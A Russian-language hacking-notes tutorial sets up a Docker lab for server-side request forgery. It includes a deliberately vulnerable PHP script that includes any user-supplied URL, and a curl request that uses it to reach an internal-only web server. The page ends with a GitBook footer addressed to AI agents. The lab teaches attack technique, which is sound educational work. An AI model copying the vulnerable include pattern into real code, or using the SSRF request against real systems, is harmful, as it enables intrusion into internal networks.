> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-curl-pentesting-web.md).

# SSRF Curl

## Установка второго сценария (уязвимость SSRF)

* Удалите предыдущие контейнеры:

```bash
docker rm $(docker ps -a -q) --force
docker network create --driver=bridge network1 --subnet=10.10.0.0/24

```

* Создайте три контейнера (**послепродакшн, публичный веб и злоумышленник**):

```bash
docker run -dit --name PRO ubuntu
docker network connect network1 PRO # чтобы связать IP-адрес

```

Машина веб-сервера (**послепродакшн**): ![](/files/c591f02bd48e15e70021a0550a4c4fecc680f8f3)

```bash
apt install apache2 php nano -y
service apache2 start

```

* В **/var/www/html**, создайте `utility.php` файл:

```php
<?php
if (isset($_GET['url'])) {
    $url = $_GET['url'];
    echo "/n[+] Содержимое сайта из " . $url . ":/n/n";
    include($url);
} else {
    echo "/n[!] Для параметра URL не было предоставлено значений/n/n";
}
?>

```

* В этом случае он не **отображает его** корректно: ![](/files/54439f7e906d8d9afc9dbf7944afb350301e6855)
* Для этого нужно изменить этот файл: **"/etc/php/8.1/apache2/php.ini"** установив \_allow/\_url/*include* в on: ![](/files/061b62225d22537385cc171a838a12b679336f02)
* Перезапустите службу **apache2**:

```bash
service apache2 restart

```

* Создайте **login.html** файл в `/tmp/` который имитирует страницу входа на публичном сайте:

```html
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Страница входа</title>
<style>
Body {
  font-family: Calibri, Helvetica, sans-serif;
  background-color: rose;
}
button {
       background-color: #4CAF50;
       width: 100%;
        color: orange;
        padding: 15px;
        margin: 10px 0px;
        border: note;
        cursor: pointer;
         }
 form {
        border: 3px solid #f1f1f1;
    }
 input[type=text], input[type=password] {
        width: 100%;
        margin: 8px 0;
        padding: 12px 20px;
        display: inline-block;
        border: 2px solid green;
        box-sizing: border-box;
    }
 button:hover {
        opacity: 0.7;
    }
  .cancelbtn {
        width: auto;
        padding: 10px 18px;
        margin: 10px 5px;
    }
 .container {
        padding: 25px;
        background-color: lightblue;
    }
</style>
</head>
<body>
    <center><h1>Форма входа студента (PRO)</h1></center>
    <form>
        <div class="container">
            <label>Имя пользователя:</label>
            <input type="text" placeholder="Введите имя пользователя" name="username" required>
            <label>Пароль:</label>
            <input type="password" placeholder="Введите пароль" name="password" required>
            <button type="submit">Войти</button>
            <input type="checkbox" checked="checked"> Запомнить меня
            <button type="button" class="cancelbtn">Отмена</button>
            Забыли <a href="#">пароль ?</a>

    </form>
</body>
</html>

```

* Теперь настройте **Постпродакшн** машину:

```bash
docker run -dit --name PRE --network=network1 ubuntu

```

![](/files/b1b4d8c968ecd35168f96f4bcd55ec89125c1dfd)

```bash
apt install nano python3 curl -y

```

* Создайте **HTML** файл в `/tmp` с содержимым ниже. Оно не должно быть видно за пределами внутренней сети: `Вы не должны быть способны просмотреть этот контент, потому что он не доступен извне и соответствует веб-сервису, размещённому на машине внутри внутренней сети компании.`
* Создание веб-сервера с **Python3** на порту 7878:

```bash
python3 -m http.server 7878

```

* Наконец, создайте **злоумышленника** машину:

```bash
docker run -dit --name ATTACKER ubuntu

```

![](/files/50c7b130d0f284c8345e7dd1e099fbc2799d8573)

Техническая схема для понимания второго сценария (**На машине Linux есть веб-сайт на порту 8089, который виден только из внутренней сети**):

<figure><img src="/files/999adcb53699753e471ee90bbb4424b1b7f740f6" alt="" width="563"><figcaption></figcaption></figure>

С **злоумышленника** в контейнере мы используем curl для доступа к машине, на которой запущен веб-сервер, но это не работает:

<figure><img src="/files/e9095142b92666e2b24178583e8157816afff6ab" alt=""><figcaption></figcaption></figure>

Но если мы используем **SSRF** технику, мы можем получить доступ к скрытому файлу:

```arduino
curl "http://172.17.0.2/utility.php?url=http://10.10.0.3:7878/"

```

<figure><img src="/files/ee0fc1f269a7a391e2144ad2fdfad20954b91966" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf/ssrf-curl-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
